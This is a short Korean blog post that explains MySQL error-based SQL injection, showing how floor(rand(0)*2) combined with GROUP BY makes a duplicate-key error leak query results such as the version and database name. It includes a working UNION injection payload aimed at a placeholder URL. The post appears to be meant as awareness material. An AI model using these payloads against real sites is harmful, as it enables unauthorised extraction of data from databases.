mysqlerrorbasedsqlinjection

 

 

SQL Injection 에서도 에러 기반 인젝션은 상당히 쉽고 빠른 방법 중 하나로 알려져 있습니다.

 

에러메시지를 기반으로 하기 때문에 결과값을 눈으로 확인할 수 있고 한번 공격에 한번이상 쿼리 결과 확인이

 

가능하기 때문입니다. 하지만 주로 알려진 것은 MSSQL 에서의 에러기반 인젝션이고, 그에 반해 oracle 이나

 

mysql 에러 기반인젝션은 많이 알려져 있지 않습니다. oracle 또한 예전에 제가 글을 올린적이 있었죠~. 이번엔

 

mysql 에서도 이러한 에러기반 인젝션이 가능함을 보여드리고, 또 위험성을 알리려고 합니다.

 

(단순 쿼리 에러메시지 정도야 뭐 어때라고 생각하시면 절대 안된다는 것입니다)

 

 

 

# MySQL Error Based SQL Injection 예시

 mysql> select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables group by a;
 ERROR 1062 (23000): Duplicate entry '5.1.63-0ubuntu0.10.04.11' for key 'group_key'

 

위와 같은 쿼리문을 날리면 group by 키워드에 해당하는 a필드가 중복되기 때문에 보시는 바와 같이 오류 메시지를

 

통해원하는 쿼리문의 결과를 확인 할 수 있습니다.

 

 

 

# ex) http://www.test.com/view.php?id=hyunmini

 

1) 정상 쿼리문

 -> http://www.test.com/view.php?id=hyunmini

 mysql> select id,name from userinfo where name='hyunmini';
+------+----------+
| id   | name     |
+------+----------+
| test | hyunmini |
+------+----------+
1 row in set (0.00 sec)

 

2) 에러기반 인젝션 공격 쿼리문

 -> http://www.test.com/view.php?id=xx' union (select count(*),concat('result: ',database(),' :',floor(rand(0)*2))as b from information_schema.tables group by b)#
 

 mysql> select id,name from userinfo where id='xx' union (select count(*),concat('result: ',database(),' :',floor(rand(0)*2))as b from information_schema.tables group by b);
ERROR 1062 (23000): Duplicate entry 'result: test :1' for key 'group_key'

 

 

어차피 인젝션이 존재한다는 가정하게 가능한 것이긴 하지만, blind 보다 데이터를 빼내오는 속도가 월등히 빠르기 때

 

문에 유용할 수 있습니다. 그럼 이만~

 

+ Recent posts